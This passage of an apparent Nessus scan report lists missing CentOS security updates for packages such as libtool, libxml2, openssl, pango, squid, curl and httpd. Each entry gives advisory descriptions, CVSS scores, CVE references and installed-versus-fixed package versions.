Update the affected libpng packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	25956
CVE	CVE-2007-5269
XREF	RHSA:2007:0992
XREF	CWE:20

Plugin Information

Published: 2007/10/25, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libpng-1.2.7-1.el4.2
Should be : libpng-1.2.7-3.el4_5.1
```

43070 - CentOS 3 / 4 / 5 : libtool (CESA-2009:1646)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libtool packages that fix one security issue are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

GNU Libtool is a set of shell scripts which automatically configure UNIX, Linux, and similar operating systems to generically build shared libraries.

A flaw was found in the way GNU Libtool's libltdl library looked for modules to load. It was possible for libltdl to load and run modules from an arbitrary library in the current working directory. If a local attacker could trick a local user into running an application (which uses libltdl) from an attacker-controlled directory containing a malicious Libtool control file (.la), the attacker could possibly execute arbitrary code with the privileges of the user running the application. (CVE-2009-3736)

All libtool users should upgrade to these updated packages, which contain a backported patch to correct this issue. After installing the updated packages, applications using the libltdl library must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?5a01d00c>
<http://www.nessus.org/u?18579a78>
<http://www.nessus.org/u?766a0195>
<http://www.nessus.org/u?1724364a>
<http://www.nessus.org/u?206b7a10>
<http://www.nessus.org/u?80fd44d4>

Solution

Update the affected libtool packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.1 (CVSS2#E:U/RL:OF/RC:C)

References

BID	37128
CVE	CVE-2009-3736
XREF	RHSA:2009:1646

Plugin Information

Published: 2009/12/09, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libtool-1.5.6-4.EL4.1.c4.4
Should be : libtool-1.5.6-5.el4_8
```

```
Remote package installed : libtool-libs-1.5.6-4.EL4.1.c4.4
Should be : libtool-libs-1.5.6-5.el4_8
```

26073 - CentOS 3 / 4 / 5 : libvorbis (CESA-2007:0845)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libvorbis packages to correct several security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The libvorbis package contains runtime libraries for use in programs that support Ogg Vorbis. Ogg Vorbis is a fully open, non-proprietary, patent-and royalty-free,

general-purpose compressed audio format.

Several flaws were found in the way libvorbis processed audio data. An attacker could create a carefully crafted OGG audio file in such a way that it could cause an application linked with libvorbis to crash or execute arbitrary code when it was opened. (CVE-2007-3106, CVE-2007-4029, CVE-2007-4065, CVE-2007-4066)

Users of libvorbis are advised to upgrade to this updated package, which contains backported patches that resolve these issues.

See Also

<http://www.nessus.org/u?d98b2508>
<http://www.nessus.org/u?22870a4f9>
<http://www.nessus.org/u?00647f41>
<http://www.nessus.org/u?aebffce>
<http://www.nessus.org/u?b62623d9>
<http://www.nessus.org/u?40d55c7d>
<http://www.nessus.org/u?21414421>
<http://www.nessus.org/u?71b140e4>

Solution

Update the affected libvorbis packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	25082
CVE	CVE-2007-3106
CVE	CVE-2007-4029
CVE	CVE-2007-4065
CVE	CVE-2007-4066
XREF	RHSA:2007:0845
XREF	CWE:119
XREF	CWE:399

Plugin Information

Published: 2007/09/24, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libvorbis-1.1.0-1
Should be : libvorbis-1.1.0-2.el4.5
```

```
Remote package installed : libvorbis-devel-1.1.0-1
Should be : libvorbis-devel-1.1.0-2.el4.5
```

29932 - CentOS 3 / 4 / 5 : libxml2 (CESA-2008:0032)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libxml2 packages that fix a security issue are now available.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The libxml2 packages provide a library that allows you to manipulate XML files. It includes support to read, modify, and write XML and HTML files.

A denial of service flaw was found in the way libxml2 processes certain content. If an application linked against libxml2 processes malformed XML content, it could cause the application to stop responding. (CVE-2007-6284)

Red Hat would like to thank the Google Security Team for responsibly disclosing this issue.

All users are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue.

See Also

<http://www.nessus.org/u?b941f889>
<http://www.nessus.org/u?04b9e0cb>
<http://www.nessus.org/u?7f107fd>
<http://www.nessus.org/u?fb0a3b2>
<http://www.nessus.org/u?02dd2ee0>
<http://www.nessus.org/u?d198785d>
<http://www.nessus.org/u?def30a99>
<http://www.nessus.org/u?27463af9>

Solution

Update the affected libxml2 packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	27248
CVE	CVE-2007-6284
XREF	RHSA:2008:0032
XREF	CWE:399

Plugin Information

Published: 2008/01/14, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libxml2-2.6.16-10
Should be : libxml2-2.6.16-10.1

Remote package installed : libxml2-devel-2.6.16-10
Should be : libxml2-devel-2.6.16-10.1

Remote package installed : libxml2-python-2.6.16-10
Should be : libxml2-python-2.6.16-10.1
```

25526 - CentOS 3 / 4 / 5 : mod_perl (CESA-2007:0395)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated mod_perl packages that fix a security issue are now available for Red Hat Enterprise Linux 3, 4, 5.

This update has been rated as having low security impact by the Red Hat Security Response Team.

Mod_perl incorporates a Perl interpreter into the Apache web server, so that the Apache web server can directly execute Perl code.

An issue was found in the 'namespace_from_uri' method of the ModPerl::RegistryCooker class. If a server implemented a mod_perl registry module using this method, a remote attacker requesting a carefully crafted URI can cause resource consumption, which could lead to a denial of service (CVE-2007-1349).

Users of mod_perl should update to these erratum packages which contain a backported fix to correct this issue.

See Also

<http://www.nessus.org/u?e4cef8ca>
<http://www.nessus.org/u?833a1438>
<http://www.nessus.org/u?88f82cff>

<http://www.nessus.org/u?8fc48536>
<http://www.nessus.org/u?3fd0553f>
<http://www.nessus.org/u?06914f8f>
<http://www.nessus.org/u?c62cec9a>
<http://www.nessus.org/u?7bfa8728>

Solution

Update the affected mod_perl packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	23192
CVE	CVE-2007-1349
XREF	RHSAs:2007:0395
XREF	CWE:399

Plugin Information

Published: 2007/06/18, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : mod_perl-1.99_16-4.centos4
Should be : mod_perl-1.99_16-4.5
```

41627 - CentOS 3 / 4 / 5 : newt (CESA-2009:1463)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated newt packages that fix one security issue are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

Newt is a programming library for color text mode, widget-based user interfaces. Newt can be used to add stacked windows, entry widgets, checkboxes, radio buttons, labels, plain text fields, scrollbars, and so on, to text mode user interfaces.

A heap-based buffer overflow flaw was found in the way newt processes content that is to be displayed in a text dialog box. A local attacker could issue a specially crafted text dialog box display request (direct or via a custom application), leading to a denial of service (application crash) or, potentially, arbitrary code execution with the privileges of the user running the application using the newt library.
(CVE-2009-2905)

Users of newt should upgrade to these updated packages, which contain a backported patch to correct this issue. After installing the updated packages, all applications using the newt library must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?a9b95ce1>
<http://www.nessus.org/u?c04c0604>
<http://www.nessus.org/u?d04091f2>
<http://www.nessus.org/u?da55f5d2>
<http://www.nessus.org/u?f18622bf>
<http://www.nessus.org/u?388536b8>

Solution

Update the affected newt packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:U/RL:OF/RC:C)

References

BID	36515
CVE	CVE-2009-2905
XREF	RHSAs:2009:1463
XREF	CWE:119

Plugin Information

Published: 2009/09/28, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : newt-0.51.6-9.rhel4
Should be : newt-0.51.6-10.el4_8.1

Remote package installed : newt-devel-0.51.6-9.rhel4
Should be : newt-devel-0.51.6-10.el4_8.1
```

35310 - CentOS 3 / 4 / 5 : openssl (CESA-2009:0004)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated OpenSSL packages that correct a security issue are now available for Red Hat Enterprise Linux 2.1, 3, 4, and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

OpenSSL is a toolkit that implements Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength, general purpose, cryptography library.

The Google security team discovered a flaw in the way OpenSSL checked the verification of certificates. An attacker in control of a malicious server, or able to effect a 'man in the middle' attack, could present a malformed SSL/TLS signature from a certificate chain to a vulnerable client and bypass validation. (CVE-2008-5077)

All OpenSSL users should upgrade to these updated packages, which contain backported patches to resolve these issues. For the update to take effect, all running OpenSSL client applications must be restarted, or the system rebooted.

See Also

<http://www.nessus.org/u?5c2df4d6>
<http://www.nessus.org/u?3237a6d9>
<http://www.nessus.org/u?699759fd>
<http://www.nessus.org/u?4a33d5b8>
<http://www.nessus.org/u?ccd277d4>
<http://www.nessus.org/u?5aed7956>
<http://www.nessus.org/u?66d8d2db>
<http://www.nessus.org/u?fe15c5e8>
<http://www.nessus.org/u?7ef0e5b4>
<http://www.nessus.org/u?5c467ba9>

Solution

Update the affected openssl packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

References

CVE	CVE-2008-5077
CVE	CVE-2009-0021
CVE	CVE-2009-0046
CVE	CVE-2009-0047
CVE	CVE-2009-0048
CVE	CVE-2009-0049
CVE	CVE-2009-0124
CVE	CVE-2009-0125
CVE	CVE-2009-0127
CVE	CVE-2009-0128
CVE	CVE-2009-0130
XREF	RHSA:2009:0004
XREF	CWE:20
XREF	CWE:287

Plugin Information

Published: 2009/01/08, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : openssl-0.9.7a-43.16
Should be : openssl-0.9.7a-43.17.el4_7.2
```

```
Remote package installed : openssl-devel-0.9.7a-43.16
Should be : openssl-devel-0.9.7a-43.17.el4_7.2
```

38721 - CentOS 3 / 4 / 5 : pango (CESA-2009:0476)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated pango and evolution28-pango packages that fix an integer overflow flaw are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

Pango is a library used for the layout and rendering of internationalized text.

Will Drewry discovered an integer overflow flaw in Pango's `pango_glyph_string_set_size()` function. If an attacker is able to pass an arbitrarily long string to Pango, it may be possible to execute arbitrary code with the permissions of the application calling Pango.
(CVE-2009-1194)

pango and evolution28-pango users are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue. After installing this update, you must restart your system or restart the X server for the update to take effect. Note: Restarting the X server closes all open applications and logs you out of your session.

See Also

<http://www.nessus.org/u?f45ace48>
<http://www.nessus.org/u?7a6959bd>
<http://www.nessus.org/u?dc86a249>
<http://www.nessus.org/u?e26579fd>
<http://www.nessus.org/u?8eb6c1f9>
<http://www.nessus.org/u?abf1006c>
<http://www.nessus.org/u?667e61ed>
<http://www.nessus.org/u?f4d65e65>

Solution

Update the affected pango packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	34870
CVE	CVE-2009-1194
XREF	RHSA:2009:0476
XREF	CWE:189

Plugin Information

Published: 2009/05/11, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : pango-1.6.0-9
Should be : pango-1.6.0-14.4_7
```

45066 - CentOS 3 / 4 / 5 : pango (CESA-2010:0140)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated pango and evolution28-pango packages that fix one security issue are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

Pango is a library used for the layout and rendering of internationalized text.

An input sanitization flaw, leading to an array index error, was found in the way the Pango font rendering library synthesized the Glyph Definition (GDEF) table from a font's character map and the Unicode property database. If an attacker created a specially crafted font file and tricked a local, unsuspecting user into loading the font file in an application that uses the Pango font rendering library, it could cause that application to crash. (CVE-2010-0421)

Users of pango and evolution28-pango are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue. After installing this update, you must restart your system or restart your X session for this update to take effect.

See Also

<http://www.nessus.org/u?9e743ba9>
<http://www.nessus.org/u?48d97f98>
<http://www.nessus.org/u?4286e245>
<http://www.nessus.org/u?9be7d719>
<http://www.nessus.org/u?3601f293>
<http://www.nessus.org/u?61f2b9a4>

Solution

Update the affected pango packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

References

CVE	CVE-2010-0421
XREF	RHSA:2010:0140

Plugin Information

Published: 2010/03/17, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : pango-1.6.0-9
```

Should be : pango-1.6.0-16.e14_8

33171 - CentOS 3 / 4 / 5 : perl (CESA-2008:0522)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated perl packages that fix a security issue are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

Perl is a high-level programming language commonly used for system administration utilities and Web programming.

A flaw was found in Perl's regular expression engine. A specially crafted regular expression with Unicode characters could trigger a buffer overflow, causing Perl to crash, or possibly execute arbitrary code with the privileges of the user running Perl. (CVE-2008-1927)

Users of perl are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue.

See Also

<http://www.nessus.org/u?ced00ca9>
<http://www.nessus.org/u?8c68d2c2>
<http://www.nessus.org/u?67a36add>
<http://www.nessus.org/u?a01f12be>
<http://www.nessus.org/u?a3fb9d87>
<http://www.nessus.org/u?d914b3b7>
<http://www.nessus.org/u?758fe50f>
<http://www.nessus.org/u?f7ddc828>

Solution

Update the affected perl packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

4.3 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	28928
CVE	CVE-2008-1927
XREF	RHSA:2008:0522
XREF	CWE:399

Plugin Information

Published: 2008/06/16, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : perl-5.8.5-36.RHEL4
Should be : perl-5.8.5-36.e14_6.3

38130 - CentOS 3 / 4 / 5 : qt (CESA-2007:0721)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated qt packages that correct an integer overflow flaw are now available.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

Qt is a software toolkit that simplifies the task of writing and maintaining GUI (Graphical User Interface) applications for the X Window System.

Several format string flaws were found in Qt error message handling.

If an application linked against Qt created an error message from user-supplied data in a certain way, it could lead to a denial of service or possibly allow the execution of arbitrary code.

(CVE-2007-3388)

Users of Qt should upgrade to these updated packages, which contain a backported patch to correct these issues.

Red Hat would like to acknowledge Tim Brown of Portcullis Computer Security and Dirk Mueller for these issues.

See Also

<http://www.nessus.org/u?35d8be47>
<http://www.nessus.org/u?96ee88bd>
<http://www.nessus.org/u?b6ed7810>
<http://www.nessus.org/u?4b116005>
<http://www.nessus.org/u?7beaf83d>
<http://www.nessus.org/u?e450fffe>
<http://www.nessus.org/u?6d3c9a52>
<http://www.nessus.org/u?d81204a2>

Solution

Update the affected qt packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	25154
CVE	CVE-2007-3388
XREF	RHSA:2007:0721

Plugin Information

Published: 2009/04/23, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : qt-3.3.3-10.RHEL4
Should be : qt-3.3.3-11.RHEL4
```

29730 - CentOS 3 / 4 / 5 : squid (CESA-2007:1130)

Synopsis

The remote CentOS host is missing a security update.

Description

Updated squid packages that fix a security issue are now available for Red Hat Enterprise Linux 2.1, 3, 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

Squid is a high-performance proxy caching server for Web clients, supporting FTP, gopher, and HTTP data objects.

A flaw was found in the way squid stored HTTP headers for cached objects in system memory. An attacker could cause squid to use additional memory, and trigger high CPU usage when processing requests for certain cached objects, possibly leading to a denial of service.

(CVE-2007-6239)

Users of squid are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue.

See Also

<http://www.nessus.org/u?4c041705>
<http://www.nessus.org/u?9ba5b357>
<http://www.nessus.org/u?e7398daa>
<http://www.nessus.org/u?6ef35273>
<http://www.nessus.org/u?a4cea42a>
<http://www.nessus.org/u?f3bd00fd>
<http://www.nessus.org/u?5edb8616>
<http://www.nessus.org/u?fc3da73b>

Solution

Update the affected squid package.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

References

CVE	CVE-2007-6239
XREF	RHSAs:2007:1130
XREF	CWE:20

Plugin Information

Published: 2007/12/19, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : squid-2.5.STABLE14-1.4E
Should be : squid-2.5.STABLE14-1.4E.e14_6.1
```

31947 - CentOS 3 / 4 / 5 : squid (CESA-2008:0214)

Synopsis

The remote CentOS host is missing a security update.

Description

Updated squid packages that fix a security issue are now available for Red Hat Enterprise Linux 2, 3, 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

Squid is a high-performance proxy caching server for Web clients, supporting FTP, gopher, and HTTP data objects.

A flaw was found in the way squid manipulated HTTP headers for cached objects stored in system memory. An attacker could use this flaw to cause a squid child process to exit. This interrupted existing connections and made proxy services unavailable. Note: the parent squid process started a new child process, so this attack only resulted in a temporary denial of service. (CVE-2008-1612)

Users of squid are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue.

See Also

<http://www.nessus.org/u?31e2707d>
<http://www.nessus.org/u?a64eb5e2>
<http://www.nessus.org/u?c96b5f0f>
<http://www.nessus.org/u?4b1ce0da>
<http://www.nessus.org/u?89bf59a2>
<http://www.nessus.org/u?36ec0e5e>
<http://www.nessus.org/u?5e01dc98>
<http://www.nessus.org/u?21ead3f0>

Solution

Update the affected squid package.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

4.3 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	28693
CVE	CVE-2007-6239
CVE	CVE-2008-1612
XREF	RHSA:2008:0214
XREF	CWE:20

Plugin Information

Published: 2008/04/17, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : squid-2.5.STABLE14-1.4E
Should be : squid-2.5.STABLE14-1.4E.el4_6.2
```

67069 - CentOS 3 / 4 / 5 : wget (CESA-2009:1549)

Synopsis

The remote CentOS host is missing a security update.

Description

An updated wget package that fixes a security issue is now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

GNU Wget is a file retrieval utility that can use HTTP, HTTPS, and FTP.

Daniel Stenberg reported that Wget is affected by the previously published 'null prefix attack', caused by incorrect handling of NULL characters in X.509 certificates. If an attacker is able to get a carefully-crafted certificate signed by a trusted Certificate Authority, the attacker could use the certificate during a man-in-the-middle attack and potentially confuse Wget into accepting it by mistake. (CVE-2009-3490)

Wget users should upgrade to this updated package, which contains a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?5cd2ef30>
<http://www.nessus.org/u?fb0bddb>
<http://www.nessus.org/u?c790cb2e>
<http://www.nessus.org/u?6a57fec9>
<http://www.nessus.org/u?e561afa4>
<http://www.nessus.org/u?840b8887>

Solution

Update the affected wget package.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	36205
CVE	CVE-2009-3490
XREF	RHSA:2009:1549
XREF	CWE:310

Plugin Information

Published: 2013/06/29, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : wget-1.10.2-0.40E
Should be : wget-1.10.2-1.el4_8.1
```

67072 - CentOS 3 / 4 : 4Suite (CESA-2009:1572)

Synopsis

The remote CentOS host is missing a security update.

Description

An updated 4Suite package that fixes one security issue is now available for Red Hat Enterprise Linux 3 and 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The 4Suite package contains XML-related tools and libraries for Python, including 4DOM, 4XSLT, 4XPath, 4RDF, and 4XPointer.

A buffer over-read flaw was found in the way 4Suite's XML parser handles malformed UTF-8 sequences when processing XML files. A specially crafted XML file could cause applications using the 4Suite library to crash while parsing the file. (CVE-2009-3720)

Note: In Red Hat Enterprise Linux 3, this flaw only affects a non-default configuration of the 4Suite package: configurations where the beta version of the cDomlette module is enabled.

All 4Suite users should upgrade to this updated package, which contains a backported patch to correct this issue. After installing the updated package, applications using the 4Suite XML-related tools and libraries must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?1c91d1c0>
<http://www.nessus.org/u?3558325f>
<http://www.nessus.org/u?53ca656a>
<http://www.nessus.org/u?add0280b>

Solution

Update the affected 4suite package.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	36097
CVE	CVE-2009-3720
XREF	RHSA:2009:1572

Plugin Information

Published: 2013/06/29, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : 4Suite-1.0-3
Should be : 4Suite-1.0-3.el4_8.1

35965 - CentOS 3 / 4 : curl (CESA-2009:0341)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated curl packages that fix a security issue are now available for Red Hat Enterprise Linux 2.1, 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

cURL is a tool for getting files from FTP, HTTP, Gopher, Telnet, and Dict servers, using any of the supported protocols. cURL is designed to work without user interaction or any kind of interactivity.

David Kierznowski discovered a flaw in libcurl where it would not differentiate between different target URLs when handling automatic redirects. This caused libcurl to follow any new URL that it understood, including the 'file://' URL type. This could allow a remote server to force a local libcurl-using application to read a local file instead of the remote one, possibly exposing local files that were not meant to be exposed. (CVE-2009-0037)

Note: Applications using libcurl that are expected to follow redirects to 'file://' protocol must now explicitly call curl_easy_setopt(3) and set the newly introduced CURLOPT_REDIRECT_PROTOCOLS option as required.

cURL users should upgrade to these updated packages, which contain backported patches to correct these issues. All running applications using libcurl must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?5ddd7637>
<http://www.nessus.org/u?4eac47f0>
<http://www.nessus.org/u?0bb8f8ab>
<http://www.nessus.org/u?8800b2fd>
<http://www.nessus.org/u?1ad3affc>
<http://www.nessus.org/u?317149f3>

Solution

Update the affected curl packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	33962
CVE	CVE-2009-0037
XREF	RHSA:2009:0341
XREF	CWE:352

Plugin Information

Published: 2009/03/20, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : curl-7.12.1-11.el4
Should be : curl-7.12.1-11.1.el4_7.1

Remote package installed : curl-devel-7.12.1-11.el4
Should be : curl-devel-7.12.1-11.1.el4_7.1

45442 - CentOS 3 / 4 : curl (CESA-2010:0329)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated curl packages that fix one security issue are now available for Red Hat Enterprise Linux 3 and 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

cURL is a tool for getting files from FTP, HTTP, Gopher, Telnet, and DICT servers, using any of the supported protocols. cURL is designed to work without user interaction or any kind of interactivity.

Wesley Miaw discovered that when deflate compression was used, libcurl could call the registered write callback function with data exceeding the documented limit. A malicious server could use this flaw to crash an application using libcurl or, potentially, execute arbitrary code.

Note: This issue only affected applications using libcurl that rely on the documented data size limit, and that copy the data to the insufficiently sized buffer. (CVE-2010-0734)

Users of curl should upgrade to these updated packages, which contain a backported patch to correct this issue. All running applications using libcurl must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?a846d0fd>
<http://www.nessus.org/u?4b3a39ea>
<http://www.nessus.org/u?88d46e04>
<http://www.nessus.org/u?61c0ee74>

Solution

Update the affected curl packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	38162
CVE	CVE-2010-0734
XREF	RHSA:2010:0329

Plugin Information

Published: 2010/04/09, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : curl-7.12.1-11.el4
Should be : curl-7.12.1-11.1.el4_8.3
```

```
Remote package installed : curl-devel-7.12.1-11.el4
Should be : curl-devel-7.12.1-11.1.el4_8.3
```

25462 - CentOS 3 / 4 : freetype (CESA-2007:0403)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated freetype packages that fix a security flaw are now available for Red Hat Enterprise Linux 2.1, 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

FreeType is a free, high-quality, portable font engine.

An integer overflow flaw was found in the way the FreeType font engine processed TTF font files. If a user loaded a carefully crafted font file with a program linked against FreeType, it could cause the application to crash or execute arbitrary code. While it is uncommon for a user to explicitly load a font file, there are several application file formats which contain embedded fonts that are parsed by FreeType. (CVE-2007-2754)

Users of FreeType should upgrade to these updated packages, which contain a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?95868228>
<http://www.nessus.org/u?4efdceb5>
<http://www.nessus.org/u?fd5d8543>
<http://www.nessus.org/u?7ab3304a>
<http://www.nessus.org/u?8f588974>
<http://www.nessus.org/u?5fe83148>

Solution

Update the affected freetype packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	24074
CVE	CVE-2007-2754
XREF	RHSA:2007:0403

Plugin Information

Published: 2007/06/12, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : freetype-2.1.9-5.el4
Should be : freetype-2.1.9-6.el4
```

25713 - CentOS 3 / 4 : httpd (CESA-2007:0662)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated Apache httpd packages that correct a security issue are now available for Red Hat Enterprise Linux 3 and 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The Apache HTTP Server is a popular Web server.

The Apache HTTP Server did not verify that a process was an Apache child process before sending it signals. A local attacker with the ability to run scripts on the Apache HTTP Server could manipulate the scoreboard and cause arbitrary processes to be terminated which could lead to a denial of service. (CVE-2007-3304).

Users of httpd should upgrade to these updated packages, which contain backported patches to correct this issue. Users should restart Apache after installing this update.

See Also

<http://www.nessus.org/u?2a94cc58>
<http://www.nessus.org/u?35c0035d>

<http://www.nessus.org/u?6e9679c6>
<http://www.nessus.org/u?38e9219b>
<http://www.nessus.org/u?2d02ec03>
<http://www.nessus.org/u?369b782b>

Solution

Update the affected httpd packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.7 (CVSS2#AV:L/AC:M/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

3.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	24215
CVE	CVE-2007-3304
XREF	RHSA:2007:0662

Plugin Information

Published: 2007/07/18, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : httpd-2.0.52-32.ent.centos4
Should be : httpd-2.0.52-32.3.ent.centos4

Remote package installed : httpd-manual-2.0.52-32.ent.centos4
Should be : httpd-manual-2.0.52-32.3.ent.centos4

Remote package installed : httpd-suexec-2.0.52-32.ent.centos4
Should be : httpd-suexec-2.0.52-32.3.ent.centos4

Remote package installed : mod_ssl-2.0.52-32.ent.centos4
Should be : mod_ssl-2.0.52-32.3.ent.centos4
```

45346 - CentOS 3 / 4 : openssl (CESA-2010:0163)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated openssl packages that fix several security issues are now available for Red Hat Enterprise Linux 3 and 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

OpenSSL is a toolkit that implements the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols, as well as a full-strength, general purpose cryptography library.

